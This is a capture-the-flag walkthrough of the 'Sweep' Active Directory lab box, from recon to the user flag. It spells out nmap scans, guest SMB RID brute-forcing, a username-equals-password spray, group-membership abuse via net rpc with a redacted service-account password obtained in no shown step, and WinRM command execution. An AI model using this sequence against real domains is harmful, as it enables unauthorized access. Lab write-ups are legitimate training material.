Sweep
Sweep is a medium Windows Active Directory box centered on Lansweeper. An enabled SMB guest account leaks the full user list via RID brute-forcing, and a username-equals-password spray lands a valid login for intern. From there a GenericAll ACL over the Lansweeper Admins group — which nests into Remote Management Users — is abused with net rpc to grant intern a WinRM shell and the user flag. This post covers recon through user.txt.
Overview
Sweep is a Medium Windows Active Directory box (domain sweep.vl, host INVENTORY) built around Lansweeper, an IT asset-inventory tool. The path to user is pure AD misconfiguration: an enabled guest account exposes the domain user list, a username-equals-password spray gives a first foothold as intern, and a dangerous GenericAll ACL over the Lansweeper Admins group is abused to grant intern WinRM access. This post stops at user.txt.
Recon
| Port | Service |
|---|---|
| 53 | DNS (Simple DNS Plus) |
| 81 / 82 | HTTP / HTTPS — Lansweeper login |
| 88, 464 | Kerberos |
| 135, 139, 445 | MSRPC / NetBIOS / SMB |
| 389, 636, 3268, 3269 | LDAP / Global Catalog |
| 3389 | RDP |
| 5985 | WinRM |
| 9389 | AD Web Services |
1
2
nmap -Pn -p- --min-rate=1000 -T4 10.129.234.177
nmap -Pn -p53,81,82,88,135,139,389,445,3389,5985 -sC -sV 10.129.234.177
Kerberos + LDAP + DNS mark this as a domain controller. The standout is the Lansweeper web app on 81/82 (http-title: Lansweeper - Login).
Enumeration
The domain left the built-in guest account enabled — confirmed with a null/guest SMB auth check:
1
2
netexec smb 10.129.234.177 -u guest -p ''
# [+] sweep.vl\guest:
With guest access we can RID brute-force the domain to dump every username:
1
2
netexec smb 10.129.234.177 -u guest -p '' --rid-brute 9999
# ... intern, svc_inventory_win, svc_inventory_lnx, jgre808, bcla614, ...
Foothold
With a full user list, a username-equals-password spray is cheap to run against everyone at once. intern matches:
1
2
netexec smb 10.129.234.177 -u users.txt -p users.txt --no-bruteforce --continue-on-success
# [+] sweep.vl\intern:intern
intern can authenticate but isn’t yet in any remote-access group. BloodHound shows a service account holding GenericAll over the “Lansweeper Admins” group — and that group nests into Remote Management Users (WinRM). We abuse that right with net rpc to add intern to the group:
1
2
3
net rpc group addmem 'LANSWEEPER ADMINS' 'intern' -U 'sweep.vl'/'svc_inventory_lnx'%'<redacted>' -S 10.129.234.177
net rpc group members 'LANSWEEPER ADMINS' -U 'sweep.vl'/'svc_inventory_lnx'%'<redacted>' -S 10.129.234.177
# SWEEP\intern
Group membership is evaluated at next logon, so intern now has WinRM:
1
2
netexec winrm 10.129.234.177 -u intern -p 'intern'
# [+] sweep.vl\intern:intern (Pwn3d!)
User flag
1
netexec winrm 10.129.234.177 -u intern -p 'intern' -X 'type C:\user.txt' # HTB{...}
Shell as sweep\intern achieved and the user flag captured.
Foothold complete. Privilege escalation is left as an exercise — this post stops at user.